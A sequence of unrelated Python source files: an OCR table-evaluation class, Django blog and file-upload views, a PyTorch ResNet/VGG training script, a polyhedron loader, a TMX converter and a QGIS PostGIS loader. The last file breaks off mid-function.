import re
from typing import Dict, List, Callable

from ocr_structuring.easy_test.compare_funcs import item_compare_funcs
from .item import Item
import editdistance

class TableItem:
    def __init__(self, name: str):
        self.name = name
        self._items = {}

        self.headless_table_item = None
        self.headless_table_items = {}

    def compare_by_row_headless(
        self, gt_table: List[List[str]], pred_table: List[List[str]], fid
    ):
        """
        比较没有表头的表格，例如 财报
        这里的比较使用最严格的模式，如果错行了，那从错行那行以下的算全错
        """
        if self.headless_table_item is None:
            self.headless_table_item = Item("headless_table")
            self._items["headless_table"] = self.headless_table_item

        self.headless_table_items[fid] = Item(fid)

        for i, gt_row in enumerate(gt_table):
            for j, gt in enumerate(gt_row):
                if i <= len(pred_table) - 1:
                    pred_row = pred_table[i]

                    if j > len(pred_row) - 1:
                        pred = Item.PRED_VALUE_NOT_EXIST
                    else:
                        pred = pred_row[j]
                else:
                    # gt 的行比 pred 多，认为对应位置的 pred 是错的
                    pred = Item.PRED_VALUE_NOT_EXIST

                if isinstance(gt, str):
                    gt = gt.strip()
                    gt = re.sub("[,， ]", "", gt)
                if isinstance(pred, str):
                    pred = pred.strip()
                    pred = re.sub("[,， ]", "", pred)
                self.headless_table_item.compare(gt, pred, fid)
                self.headless_table_items[fid].compare(gt, pred, fid)

    def compare_by_row(
        self, gt_table: List[Dict[str, str]], pred_table: List[Dict[str, str]], fid
    ):
        """
        按行比较 ground truth 和 prediction
        - 如果 gt 的行比 prediction 多，则会认为是错误的
        - TODO 如果 prediction 的行比 gt 多，目前没有做处理
        """
        self._add_item(gt_table)

        for i, row in enumerate(gt_table):
            for item_name, gt in row.items():
                if i <= len(pred_table) - 1:
                    pred = pred_table[i].get(item_name, Item.PRED_VALUE_NOT_EXIST)
                else:
                    # gt 的行比 pred 多，认为对应位置的 gt 是错的
                    pred = Item.PRED_VALUE_NOT_EXIST

                self._items[item_name].compare(gt, pred, fid)

    def compare_by_special_key(
        self,
        gt_table: List[Dict[str, str]],
        pred_table: List[Dict[str, str]],
        fid,
        unique_key="name",
        value_key: List[str] = None,
    ):
        """
        默认 unique_key 的值在 table 中只出现一次，如果出现多次，TODO 目前是使用第一次出现的
        :param unique_key: 通过 unique_key 来确认 gt 和 pred 的行对应关系
        :param value_key: if not None，表格只输出某些字段的统计结果
        :return:
        """
        self._add_item(gt_table)

        if pred_table is None:
            pred_table = []
        if gt_table is None:
            gt_table = []

        # 文本替换列表
        for gt_row in gt_table:
            # 忽略没有 unique_key 的 gt
            if unique_key not in gt_row:
                continue

            # 每行都会有一个key值，根据key值去predict中找对应key的内容的value
            find_match = False
            for pred_row in pred_table:
                gt_unique_value = gt_row[unique_key]
                pred_unique_value = pred_row[unique_key]

                preprocessed_gt_unique_value = self._unique_key_value_preprocess(
                    unique_key, gt_unique_value
                )

                gt = gt_unique_value
                pred = pred_unique_value
                unique_key_match = False
                if gt_unique_value == pred_unique_value:
                    unique_key_match = True
                elif self._is_unique_key_value_equal(
                    unique_key, preprocessed_gt_unique_value, pred_unique_value
                ):
                    unique_key_match = True
                    gt = preprocessed_gt_unique_value
                    pred = gt

                if unique_key_match:
                    find_match = True
                    self._items[unique_key].compare(gt, pred, fid)

                    if value_key is None:
                        for key in gt_row:
                            if key != unique_key:
                                # 拿到所有的其余的key
                                self._items[key].compare(
                                    gt_row[key], pred_row.get(key), fid
                                )
                    else:
                        for key in value_key:
                            if key != unique_key and key in self._items.keys():
                                self._items[key].compare(
                                    gt_row[key], pred_row.get(key), fid
                                )
                    # 默认一个key值在pred中只出现一次，出现两次，则默认使用第一次出现进行比较
                    break

            if not find_match:
                for key in gt_row:
                    # 只统计 unique_key 和 value_key 中列举的字段
                    if key != unique_key and (
                        value_key is not None and key not in value_key
                    ):
                        continue

                    v = gt_row[key]
                    if not v:
                        v = "&&"
                    self._items[key].compare(v, None, fid)

    def _is_unique_key_value_equal(self, key, gt, pred) -> bool:
        """
        判断 gt 和 pred 中 unique_key 对应的值是否一样
        :param key: unique_key
        :param gt: gt unique_key 对应的值
        :param pred: pred unique_key 对应的值
        :return:
        """
        if self.name == "detail_charges" and key == "name":
            # detail charges 容许一定的偏差
            return editdistance.eval(gt, pred) <= 2
        else:
            return gt == pred

    def _unique_key_value_preprocess(self, key, gt):
        if self.name == "detail_charges" and key == "name":
            return self._detail_charges_name_preprocess(gt)
        return gt

    def _detail_charges_name_preprocess(self, gt):
        if not gt:
            return gt

        if gt in Item.INVALID_ITEM_VALUES:
            return gt

        res = gt
        modify = {"（": "(", "）": ")", "_": ""}
        for k, v in modify.items():
            res = res.replace(k, v)
        res = res.replace("中药饮片及药材", "")
        regx = re.compile("(/[^\u4e00-\u9fa5]*[^/]*)|(\(.*)")
        res = regx.sub("", res)
        regx = re.compile("[^\u4e00-\u9fa5]")
        res = regx.sub("", res)
        return res

    @property
    def items(self):
        return self._items.values()

    def empty(self) -> bool:
        return not any([x.cnt_gt > 0 for x in self.items])

    def _add_item(self, gt_table: List[Dict[str, str]]):
        for row in gt_table:
            for item_name in row:
                if item_name not in self._items:
                    self._items[item_name] = Item(
                        item_name, compare_func=item_compare_funcs.get(item_name)
                    )


import email
from email import contentmanager
from django.shortcuts import render, HttpResponse
from .models import Post, Contact, About, Comment, Subscribe
from django.core.paginator import Paginator

def home(request):
    posts = Post.objects.filter(is_published=True).order_by('-views')[:4]
    if request.method == 'POST':
        email_subscribe = request.POST.get('email')
        obj = Subscribe.objects.create(email=email_subscribe)
        obj.save()

    context = {
        'posts': posts
    }
    return render(request, 'index.html', context)

def about(request):

    abouts = About.objects.all().filter(is_visible=True)
    context = {
        'abouts' : abouts
    }
    return render(request, "about.html", context=context)

def contact(request):
    if request.method == "POST":
        name = request.POST.get('name')
        subject = request.POST.get('subject')
        message = request.POST.get('message')
        email = request.POST.get('email')
        obj = Contact.objects.create(name=name, subject=subject, message=message, email=email)
        obj.save()
    return render(request, "contact.html")

def blog(request):
    page_number = request.GET.get('page')
    if page_number is None:
        page_number = 1
    posts = Post.objects.filter(is_published=True).order_by('views') [:4]
    p = Paginator(posts, 2)
    objs = p.get_page(page_number)
    context = {
        "posts": objs

    }
    return render(request, "blog.html", context=context)

def blog_single(request, pk):
    if request.method == 'POST':
        name = request.POST.get('name')
        email = request.POST.get('email')
        website = request.POST.get('website')
        msg = request.POST.get('msg')
        obj = Comment.objects.create(name=name, email=email, website=website, message=msg, post_id=pk)
        obj.save()
    comments = Comment.objects.filter(post_id=pk)
    post = Post.objects.get(id=pk)
    post.views += 1
    post.save()
    context = {
        'post': post,
        'comments': comments
    }
    return render(request, "blog-single.html", context=context)


#Примеры ввода команды в консоль:
#python train.py –datapath "/home/mikhail/it-academy/модуль 5/hymenoptera_project/input/train" –save_to "/home/mikhail/it-academy/модуль 5/hymenoptera_project/#checkpoints" –model ResNet -pretrained True

#python train.py –datapath "/home/mikhail/it-academy/модуль 5/hymenoptera_project/input/train" –save_to "/home/mikhail/it-academy/модуль 5/hymenoptera_project/#checkpoints" –model ResNet -pretrained False

#python train.py –datapath "/home/mikhail/it-academy/модуль 5/hymenoptera_project/input/train" –save_to "/home/mikhail/it-academy/модуль 5/hymenoptera_project/#checkpoints" –model vgg -pretrained True

#python train.py –datapath "/home/mikhail/it-academy/модуль 5/hymenoptera_project/input/train" –save_to "/home/mikhail/it-academy/модуль 5/hymenoptera_project/#checkpoints" –model vgg -pretrained False

import joblib
import sys as sys
from sys import argv
import torch
from torch import nn
import torchvision as tv
from torchvision import datasets, models, transforms
from torch.utils.data import DataLoader
import time
import os
import numpy as np
import warnings
warnings.filterwarnings("ignore")

if len(argv) < 9 or len(argv) >10:
	print('Недостаточно значений чтобы выполнить скрипт, проверьте количество указанных ключей и значений.\nИх должно быть 9, указано {}'.format(len(argv)))
	sys.exit()
if (argv[8].lower() != 'true' and argv[8].lower() != 'false'):
	print('Значение ключа -pretrained должно быть False либо True, указано {}'.format(argv[8]))
	sys.exit()
if (argv[7].lower() != '-pretrained' and argv[7].lower() != '–pretrained'):
	print('Имя ключа должно быть -pretrained, указано {}'.format(argv[7]))
	sys.exit()
if (argv[6].lower() != 'resnet' and argv[6].lower() != 'vgg'):
	print('Значение ключа -model должны быть resnet либо vgg, указано {}'.format(argv[6]))
	sys.exit()
if (argv[5].lower() != '-model' and argv[5].lower() != '–model'):
	print('Имя ключа должно быть -model, указано {}'.format(argv[5]))
	sys.exit()
if (argv[3].lower() != '-save_to' and argv[3].lower() != '–save_to'):
	print('Имя ключа должно быть -save_to, указано {}'.format(argv[3]))
	sys.exit()
if (argv[1].lower() != '-datapath' and argv[1].lower() != '–datapath'):
	print('Имя ключа должно быть -datapath, указано {}'.format(argv[1]))
	sys.exit()

name_script, key_datapath, path_data, key_save_to, path_save_to, key_model, name_model, key_pretrained, val_pretrained = argv

def save_weights(model, name=None, path=None):
    joblib.dump(model, os.path.join(path, name))
    return None

def load_weights(path=None):
    return joblib.load(path)

# Device configuration
device ='cpu' #torch.device('cuda' if torch.cuda.is_available() else 'cpu')

transform = transforms.Compose([
                                                tv.transforms.Resize((255, 255)),
                                                transforms.ToTensor()
                                            ])

train_data = datasets.ImageFolder(path_data,transform=transform)
train_loader = DataLoader(train_data,batch_size=32)

def get_mean_and_std(loader):
    mean = std = total_images = 0
    for images, _ in loader:
        images = images.view(images.shape[0], images.shape[1], -1)
        mean += images.mean(2).sum(0)
        std += images.std(2).sum(0)
        total_images += images.shape[0]
    mean /= total_images
    std /= total_images
    return mean, std

mean, std = get_mean_and_std(train_loader)

transform = transforms.Compose([
                                                tv.transforms.Resize((255, 255)),
                                                transforms.ToTensor(),
                                                transforms.Normalize(mean, std)
                                            ])

def load_split_train_test(datadir,valid_size = 0.2, train_trainsforms = None, test_trainsforms = None):
    train_trainsforms = train_trainsforms
    test_trainsforms = test_trainsforms

    train_data = datasets.ImageFolder(datadir,transform=train_trainsforms)
    test_data = datasets.ImageFolder(datadir,transform=test_trainsforms)

    num_train = len(train_data)                               # Количество тренировочных наборов
    indices = list(range(num_train))                          # Указатель обучающего набора

    split = int(np.floor(valid_size * num_train))             # Получить 20% данных в качестве набора для проверки
    np.random.shuffle(indices)                                # Перемешать набор данных

    from torch.utils.data.sampler import SubsetRandomSampler
    train_idx, test_idx = indices[split:], indices[:split]    # Получить обучающий набор, тестовый набор
    train_sampler = SubsetRandomSampler(train_idx)            # Disrupt обучающий набор, тестовый набор
    test_sampler  = SubsetRandomSampler(test_idx)

    # ============ Загрузчик данных: загрузка обучающего набора, тестового набора ===================
    train_loader = DataLoader(train_data,sampler=train_sampler,batch_size=64)
    test_loader = DataLoader(test_data,sampler=test_sampler,batch_size=64)
    return train_loader,test_loader

train_data_loader, test_data_loader = load_split_train_test(path_data, 0.2, train_trainsforms=transform, test_trainsforms=transform)
#print(train_data_loader.dataset.classes)

#print(print(train_data_loader.dataset[0][1]))
print('Изображения загрузились в DataLoader')
num_classes = 2
num_epochs = 20
learning_rate = 0.0001

if name_model.lower() == 'resnet':
    class ResidualBlock(nn.Module):
        def __init__(self, in_channels, out_channels, stride = 1, downsample = None):
            super(ResidualBlock, self).__init__()
            self.conv1 = nn.Sequential(
                        nn.Conv2d(in_channels, out_channels, kernel_size = 3, stride = stride, padding = 1),
                        nn.BatchNorm2d(out_channels),
                        nn.ReLU())
            self.conv2 = nn.Sequential(
                        nn.Conv2d(out_channels, out_channels, kernel_size = 3, stride = 1, padding = 1),
                        nn.BatchNorm2d(out_channels))
            self.downsample = downsample
            self.relu = nn.ReLU()
            self.out_channels = out_channels

        def forward(self, x):
            residual = x
            out = self.conv1(x)
            out = self.conv2(out)
            if self.downsample:
                residual = self.downsample(x)
            out += residual
            out = self.relu(out)
            return out

    class ResNet(nn.Module):
        def __init__(self, block, layers, num_classes = 2):
            super(ResNet, self).__init__()
            self.inplanes = 64
            self.conv1 = nn.Sequential(
                            nn.Conv2d(3, 64, kernel_size = 7, stride = 2, padding = 3),
                            nn.BatchNorm2d(64),
                            nn.ReLU())
            self.maxpool = nn.MaxPool2d(kernel_size = 3, stride = 2, padding = 1)
            self.layer0 = self._make_layer(block, 64, layers[0], stride = 1)
            self.layer1 = self._make_layer(block, 128, layers[1], stride = 2)
            self.layer2 = self._make_layer(block, 256, layers[2], stride = 2)
            self.layer3 = self._make_layer(block, 512, layers[3], stride = 2)
            self.avgpool = nn.AvgPool2d(7, stride=1)
            self.fc = nn.Linear(2048, num_classes)

        def _make_layer(self, block, planes, blocks, stride=1):
            downsample = None
            if stride != 1 or self.inplanes != planes:

                downsample = nn.Sequential(
                    nn.Conv2d(self.inplanes, planes, kernel_size=1, stride=stride),
                    nn.BatchNorm2d(planes),
                )
            layers = []
            layers.append(block(self.inplanes, planes, stride, downsample))
            self.inplanes = planes
            for i in range(1, blocks):
                layers.append(block(self.inplanes, planes))

            return nn.Sequential(*layers)

        def forward(self, x):
            x = self.conv1(x)
            x = self.maxpool(x)
            x = self.layer0(x)
            x = self.layer1(x)
            x = self.layer2(x)
            x = self.layer3(x)
            x = self.avgpool(x)
            x = x.view(x.size(0), -1)
            x = self.fc(x)

            return x

    model = ResNet(ResidualBlock, [3, 4, 6, 3], num_classes = num_classes).to(device)
    print('Модель ResNet загружена')
elif name_model.lower() == 'vgg':

    def vgg_block(num_convs, input_channels, num_channels):

        block = nn.Sequential(
            nn.Conv2d(input_channels, num_channels, kernel_size=3, padding=1),
            nn.ReLU()
        )

        for i in range(num_convs - 1):
            block.add_module("conv{}".format(i),
                            nn.Conv2d(num_channels, num_channels, kernel_size=3, padding=1)
                            )
            block.add_module("relu{}".format(i),
                            nn.ReLU()
                            )

        block.add_module("pool", nn.MaxPool2d(2, stride=2))

        return block

    conv_arch = ((1, 3, 64), (1, 64, 128), (2, 128, 256), (2, 256, 512), (2, 512, 512))

    def vgg(conv_arch):
        net = nn.Sequential()

        for i, (num_convs, input_ch, num_channels) in enumerate(conv_arch):
            #print((num_convs, input_ch, num_channels) )
            net.add_module("block{}".format(i), vgg_block(num_convs, input_ch, num_channels))

        classifier = nn.Sequential(
            nn.Flatten(),
            nn.Linear(25088, 4096), nn.ReLU(), nn.Dropout(0.5),  #6272
            nn.Linear(4096, 4096), nn.ReLU(), nn.Dropout(0.5),
            nn.Linear(4096, 2))

        net.add_module('classifier', classifier)
        return net

    model = vgg(conv_arch)

    print('Модель VGG загружена')

# Loss and optimizer
optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate) #, momentum=0.9) #, weight_decay = 0.001, momentum = 0.9)
loss = nn.CrossEntropyLoss(reduction='sum')

def evaluate_accuracy(data_iter, net):
    acc_sum, n = torch.Tensor([0]), 0
    net.eval()
    for X, y in data_iter:
        X = X.to(device)
        y = y.to(device)
        y_hat = net(X)
        #print(y_hat)
        predicted = y_hat.argmax(axis=1)
        acc_sum += (predicted== y).sum()
        n += y.shape[0]
    return acc_sum.item() / n

def train(net, train_iter, test_iter, trainer, num_epochs):
    net.train()
    for epoch in range(num_epochs):
        train_l_sum, train_acc_sum, n, start = 0.0, 0.0, 0, time.time()
        for X, y in train_iter:
            X = X.to(device)
            y = y.to(device)
            trainer.zero_grad()
            y_hat = net(X)
            l = loss(y_hat, y)
            l.backward()
            trainer.step()
            train_l_sum += l.item()
            predicted = y_hat.argmax(axis=1)
            train_acc_sum += (predicted == y).sum().item()
            n += y.shape[0]
            print("Step. Train acc: {:.3f}. Train Loss: {:.3f}.             time: {:.3f}".format(
                (predicted == y).sum().item() / y.shape[0], l.item(), time.time() -  start))

        test_acc = evaluate_accuracy(test_iter, net)

        print('epoch %d, loss %.4f, train acc %.3f, test acc %.3f, '
              'time %.1f sec'
              % (epoch + 1, train_l_sum / n, train_acc_sum / n, test_acc,
                 time.time() - start))

train(model, train_data_loader, test_data_loader, optimizer, num_epochs)
print()
print('Обучение модели готово.')

if not os.path.isdir(path_save_to):
    os.makedirs(path_save_to)

save_weights(model,name=name_model.lower()+".pkl", path=path_save_to)
print('Веса сохранены в папку {}/{}'.format(path_save_to,name_model.lower()+".pkl"))

if val_pretrained.lower() == 'true':
    transform = transforms.Compose([tv.transforms.RandomHorizontalFlip(),
                                    tv.transforms.RandomVerticalFlip(),
                                    tv.transforms.RandomResizedCrop(
                                        (255, 255), scale=(0.1, 1), ratio=(0.5, 2)),
                                    tv.transforms.Resize((255, 255)),
                                    transforms.ToTensor(),
                                    transforms.Normalize([0.5143, 0.4760, 0.3487],[0.2204, 0.2123, 0.2088])
                                    ])

    train_data_loader, test_data_loader = load_split_train_test(path_data, 0.2, train_trainsforms=transform, test_trainsforms=transform)

    print('Аугментация добавлена')

    if name_model.lower() == 'resnet':
        model = tv.models.resnet18(pretrained=True)

        for param in model.parameters():
            param.requires_grad = False

        num_ftrs = model.fc.in_features
        model.fc = nn.Linear(num_ftrs, 2)
        model = model.to(device)

    else:
        model = tv.models.vgg16(pretrained=True)

        for param in model.parameters():
            param.requires_grad = False

        model.classifier = nn.Sequential(
                                            nn.Flatten(),
                                            nn.Linear(25088, 4096), nn.ReLU(), nn.Dropout(0.5),  #6272
                                            nn.Linear(4096, 4096), nn.ReLU(), nn.Dropout(0.5),
                                            nn.Linear(4096, 2)
                                        )
        model = model.to(device)

    print("Params to learn:")
    params_to_update = []
    for name,param in model.named_parameters():
        if param.requires_grad == True:
            params_to_update.append(param)
            #print("\t",name)

    optimizer = torch.optim.SGD(params_to_update, lr=learning_rate)#, momentum=0.9)

    train(model, train_data_loader, test_data_loader, optimizer, num_epochs)
    print()
    print('Обучение модели с Fine-Tuning готово')
    save_weights(model,name=name_model.lower()+"_Fine_Tuning.pkl", path=path_save_to)
    print('Веса сохранены в папку {}/{}'.format(path_save_to,name_model.lower()+"_Fine_Tuning.pkl"))


from collections import namedtuple
import numpy as np
from fjp.polyhedron import Polyhedron

def load_from_file(filename):
  polyhedron_info = namedtuple('PolyhedronData', ['title', 'coefficients', 'vertices', 'faces'])
  with open(filename) as fp:
    state = "TITLE"
    for line in fp:
      if line == "\n":
        continue
      if state == "TITLE":
        polyhedron_info.title = line
        state = "COEFFICIENTS"
        polyhedron_info.coefficients = {}
        polyhedron_info.vertices = []
      elif state == "COEFFICIENTS":
        if line[0] == "C":
          a = line.strip().split(" = ")
          if not a[0].strip() in polyhedron_info.coefficients:
            polyhedron_info.coefficients[a[0].strip()] = { "value":float(a[1]) }
        elif line[0] == "V":
          a = line.strip().split(" = ")
          coords = a[1][1:-1].split(", ")
          vert = []
          for c in coords:
            co = c.strip()
            try:
              vert.append(float(co))
            except:
              mult = 1
              if co[0] == "-":
                co = co[1:]
                mult = -1
              vert.append(mult*polyhedron_info.coefficients[co]["value"])
          polyhedron_info.vertices.append(np.array(vert))
        else:
          state = "FACES"
          polyhedron_info.faces = []
      if state == "FACES" and line[0] == "{":
        polyhedron_info.faces.append([int(f) for f in line[1:-2].split(", ")])

    return {
      "faces": polyhedron_info.faces,
      "vertices": np.array(polyhedron_info.vertices)
    }

if __name__ == "__main__":
  # "./data/dmccooey/polyhedra/Platonic/Cube.txt"
  info = load_from_file("./data/dmccooey/polyhedra/Platonic/Cube.txt")
  poly = Polyhedron(info["vertices"], info["faces"])

  print(poly.as_triangles())


#Convert TMX to MT Source and Target files using XML minidom
#Command: python3 TMX2MT-minidom.py <tmx_file_name> <source_lang> <target_lang>
#Note: <source_lang> <target_lang> must be the actual language codes used in the TMX file.

from xml.dom import minidom
import sys

file = sys.argv[1]
source = sys.argv[2]
target = sys.argv[3]
source_file = file + "." + source
target_file = file + "." + target

mytmx = minidom.parse(file)

segments = mytmx.getElementsByTagName('tu')

langs = []

for segment in segments:
    tuvs = segment.getElementsByTagName('tuv')
    for tuv in tuvs:
        lang = tuv.attributes['xml:lang'].value
        langs.append(lang.lower())

langs = set(langs)

if source in langs and target in langs:

    with open(source_file, "w+", encoding='utf-8') as source_file, open(target_file, "w+", encoding='utf-8') as target_file:
        for segment in segments:
            tuvs = segment.getElementsByTagName('tuv')
            for tuv in tuvs:
                lang = tuv.attributes['xml:lang'].value
                if  lang.lower() == source.lower():
                    source_text = tuv.getElementsByTagName('seg')
                    try:
                        source_text = source_text[0].firstChild.data
                        #print(lang, source)
                    except:
                        continue
                    source_file.write(source_text + "\n")
                elif lang.lower() == target.lower():
                    target_text = tuv.getElementsByTagName('seg')
                    try:
                        target_text = target_text[0].firstChild.data
                        #print(lang, target, '\n')
                    except:
                        continue
                    target_file.write(target_text + "\n")

    print("=> Done! Check the output files at:", source_file.name, target_file.name, sep="\n")

else:
    print("Please correct the language codes. Found language codes are:", *langs)


"""Load PostGIS layers algorithm."""

import logging

from collections import OrderedDict

from processing.tools import postgis
from qgis.core import (
    Qgis,
    QgsDataSourceUri,
    QgsProcessingAlgorithm,
    QgsProcessingContext,
    QgsProcessingException,
    QgsProcessingOutputMultipleLayers,
    QgsProcessingParameterString,
    QgsVectorLayer,
    QgsWkbTypes,
)

from ..qgis_plugin_tools.tools.custom_logging import plugin_name
from ..qgis_plugin_tools.tools.i18n import tr

__copyright__ = 'Copyright 2019, 3Liz'
__license__ = 'GPL version 3'
__email__ = 'info@3liz.org'
__revision__ = '$Format:%H$'

LOGGER = logging.getLogger(plugin_name())

MAPPING = OrderedDict()  # Geometry name, Geometry type, primary key
MAPPING['file'] = [None, QgsWkbTypes.NullGeometry, 'id']
MAPPING['troncon'] = [None, QgsWkbTypes.NullGeometry, 'id']
MAPPING['obs'] = [None, QgsWkbTypes.NullGeometry, 'id']
MAPPING['regard'] = [None, QgsWkbTypes.NullGeometry, 'id']
MAPPING['geom_regard'] = ['Point', QgsWkbTypes.PointGeometry, 'id']
MAPPING['geom_troncon'] = ['LineString', QgsWkbTypes.LineGeometry, 'id']
MAPPING['geom_obs'] = ['Point', QgsWkbTypes.PointGeometry, 'id']
MAPPING['view_regard_geolocalized'] = [
    'Point', QgsWkbTypes.PointGeometry, 'id'
]

class LoadPostgisTables(QgsProcessingAlgorithm):

    DATABASE = 'DATABASE'
    SCHEMA = 'SCHEMA'
    OUTPUT_LAYERS = 'OUTPUT_LAYERS'

    LAYERS = (
        'file',
        'troncon',
        'obs',
        'regard',
        'geom_regard',
        'geom_troncon',
        'geom_obs',
        'view_regard_geolocalized',
    )

    def name(self):
        return 'load_postgis_layers'

    def displayName(self):
        return '{} {}'.format('01', tr('Load PostGIS layers'))

    def initAlgorithm(self, configuration):
        db_param = QgsProcessingParameterString(
            self.DATABASE,
            tr('Database (connection name)'),
        )
        db_param.setMetadata(
            {
                'widget_wrapper': {
                    'class': 'processing.gui.wrappers_postgis.ConnectionWidgetWrapper'
                }
            }
        )
        self.addParameter(db_param)

        schema_param = QgsProcessingParameterString(
            self.SCHEMA,
            tr('Schema (schema name)'),
            'public',
            False,
            True
        )
        schema_param.setMetadata(
            {
                'widget_wrapper': {
                    'class': 'processing.gui.wrappers_postgis.SchemaWidgetWrapper',
                    'connection_param': self.DATABASE
                }
            }
        )
        self.addParameter(schema_param)

        self.addOutput(
            QgsProcessingOutputMultipleLayers(
                self.OUTPUT_LAYERS,
                tr('Output layers')
            )
        )

    def processAlgorithm(self, parameters, context, feedback):
        destination = self.parameterAsFile(parameters, self.DATABASE, context)

        try:
            db = postgis.GeoDB.from_name(destination)
            schema = self.parameterAsFile(parameters, self.SCHEMA, context)
        except QgsProcessingException:
            raise QgsProcessingException(
                tr('* ERROR while getting database "{}"').format(destination))

        database_uri = db.uri
        output_layers = []
        for table, geom in MAPPING.items():
            uri = QgsDataSourceUri(database_uri)
            if Qgis.QGIS_VERSION_INT >= 31000:
                uri.setTable(table)
                if geom[0]:
                    uri.setGeometryColumn('geom')
            else:
                uri_string = uri.uri(True)
                if geom[0]:
                    uri_string = uri_string.replace(
                        'table=""', 'table="{}" (geom)'.format(table)
                    )
                else:
                    uri_string = uri_string.replace(
                        'table=""', 'table="{}"'.format(table)
                    )
                uri = QgsDataSourceUri(uri_string)
            # Schema is updating the table name,
            # so after search&replace
            uri.setSchema(schema)
            uri.setKeyColumn(geom[2])

            dest_layer = QgsVectorLayer(uri.uri(False), table, 'postgres')

            if not dest_layer.isValid():
                raise QgsProcessingException(
                    tr(
                        '* ERROR: Can\'t load table "{}" in URI "{}"'
                    ).format(table, uri.uri())
                )

            feedback.pushInfo('The layer {} has been loaded'.format(table))

            output_layers.append(dest_layer.id())

            # Add layer to project
            context.temporaryLayerStore().addMapLayer(dest_layer)
            context.addLayerToLoadOnCompletion(
                dest_layer.id(),
                QgsProcessingContext.LayerDetails(
                    table,
                    context.project(),
                    self.OUTPUT_LAYERS
                )
            )
        return {
            self.OUTPUT_LAYERS: output_layers
        }

    def group(self):
        return tr('Configuration')

    def groupId(self):
        return 'configuration'

    def createInstance(self):
        return self.__class__()


#文件上传处理的模块
from django.http import HttpResponse
import xlrd
from DataManager.MongoDB import mongoConnection
from django.contrib.auth.decorators import login_required
from django.shortcuts import render_to_response
from django.core.exceptions import ObjectDoesNotExist
from MyModel.models import DataSet
from django.contrib.auth.models import User
from datetime import datetime
import traceback
import pandas as pd
from DataManager.DataHandler_HDF5 import createHdf5File
import time

chunkSize = 10000 #分块大小

def strToInt(a):
    return int(a)

@login_required
def updateFile(request,type):

    try:
        if request.method != 'POST':
            return render_to_response('403.html')

        mode = request.POST['mode']
        dataSetName = request.POST['name']
        user = User.objects.get(username=request.user)
        ds = DataSet.objects.get(user=user, name=dataSetName)
        docs = {}

        print(mode)
        print(dataSetName)
        print(type)

        if type == 'xl':
            resultSet = handleXls(request)
            docs = resultSet['doc'][0]  # 只取一个

        elif type == 'txt':
            docs = handleTxt(request)
        elif type == 'csv':
            docs = handleCsv(request)

        if mode == 'replace':
            ds.deleteDoc()
            ds.saveDoc(docs)
        elif mode == 'update':
            originDf = ds.getDocInDataFrame()
            originDf.index = originDf.index.map(strToInt)
            newDf = pd.DataFrame(docs['data'])
            newDf.index = newDf.index.map(strToInt)
            combined = pd.concat([originDf,newDf],axis=0) #强制行连接
            print(originDf)
            print(newDf)
            print(combined)
            combined = combined.reset_index(drop=True)
            combined.index = indexToStr(combined)
            docs['data'] = combined.to_dict()
            ds.deleteDoc()
            print(docs)
            ds.saveDoc(docs)

        ds.lastUpdated = datetime.now()
        ds.save()

        return HttpResponse('just updated '+user.username+'\'s'+ds.name)

    except Exception as e:
        traceback.print_exc()
        return HttpResponse('error')

@login_required
def uploadFile(request,type):

    if request.method != 'POST':
        return render_to_response('403.html')

    if type == 'xl':
        resultSet = handleXls(request)
        if resultSet is None:
            return HttpResponse('false')
        nameset = resultSet['nameset']
        docs = resultSet['doc']
        for i in range(0,len(nameset)):
            if not createDataset(request.user,docs[i]['name'],docs[i],'E',docs[i]['filesize']):
                return HttpResponse('false')
    elif type == 'txt':
        doc = handleTxt(request)
        if doc is None or not createDataset(request.user,doc['name'],doc,'T',doc['filesize']):
            return HttpResponse('false')
    elif type == 'csv':
        doc = handleCsv(request)
        if doc is None or not createDataset(request.user,doc['name'],doc,'C',doc['filesize']):
            return HttpResponse('false')
    else:
        return HttpResponse('unkown type')

    return HttpResponse('true')

@login_required
def checkDataSetName(request):

    if request.method != 'POST':
        return render_to_response('403.html')

    try:
        newname = request.POST['newname']

        if len(newname) > 15:
            return HttpResponse('请不要绕开程序提交好么？')

        findObj = DataSet.objects.get(name=newname)

        if findObj != None:
            return HttpResponse('false')

    except Exception as e:
        if isinstance(e,ObjectDoesNotExist): #查找不存在即可创建
            return HttpResponse('true')
        else:
            traceback.print_exc()
            return HttpResponse(repr(e))

def indexToStr(df):
    newindex = []
    for i in range(0,len(df.index)):
        newindex.append(str(i).replace('.','_'))
    return newindex

def handleXls(request):

    print('recieved an excel chart')
    try:
        print(request.FILES)
        print(request.POST['name'])
        newSetName = request.POST['name']
        file = request.FILES.get('file')

        wb = xlrd.open_workbook(filename=None,file_contents=file.read())
        df = pd.read_excel(wb,engine='xlrd',sheet_name=None)

        sheet_names = wb.sheet_names()

        nameset =[]
        if len(sheet_names) == 1:
            nameset.append(newSetName)
        else:
            for n in sheet_names:
                sheet = wb.sheet_by_name(n)
                if sheet.nrows == 0 or sheet.ncols == 0:
                    continue
                nameset.append(newSetName+'_'+n)

        resultSet = {}
        resultSet['nameset'] = nameset
        resultSet['doc'] = []
        for i in range(0,len(nameset)):
            sheet = wb.sheet_by_index(i)
            mongoDoc = {}
            mongoDoc['name'] = nameset[i]
            mongoDoc['user'] = request.user.username
            df[sheet_names[i]].index = indexToStr(df[sheet_names[i]])
            mongoDoc['data'] = df[sheet_names[i]].to_dict()
            mongoDoc['filesize'] = file.size
            resultSet['doc'].append(mongoDoc)

        return resultSet

    except:
        traceback.print_exc()
        return None

def handleTxt(request):
    try:
        print('received an txt table')
        print(request.FILES)
        newSetName = request.POST['name']
        file = request.FILES.get('file')

        df = pd.read_table(file, delim_whitespace=True) #读txt较为简单 以第一行为header 空格分割即可
                                                        #对于复杂的txt也可以有改动 这个再说
        df.index = indexToStr(df)#转Index

        mongoDoc = {}
        mongoDoc['name'] = newSetName
        mongoDoc['user'] = request.user.username
        mongoDoc['data'] = df.to_dict()
        mongoDoc['filesize'] = file.size
        return mongoDoc
    except Exception as e:
        traceback.print_exc()
        return None

def handleCsv(request):
    try:
        print('recieved an csv chart')
        print(request.FILES)

        newSetName = request.POST['name']
        file = request.FILES.get('file')

        df = pd.DataFrame()
        try:                          #尝试不同编码格式，不行就返回错误
            df = pd.read_csv(file,encoding="gb2312") #国标2312
        except Exception as e:
            traceback.print_exc()
            try:
                df = pd.read_csv(file, encoding="utf-8") #utf-8
            except:
                traceback.print_exc()
                return HttpResponse('false')

        df.index = indexToStr(df)  # 转Index
        mongoDoc = {}
        mongoDoc['name'] = newSetName
        mongoDoc['user'] = request.user.username
        mongoDoc['data'] = df.to_dict()
        mongoDoc['filesize'] = file.size

        return mongoDoc
    except Exception as e:
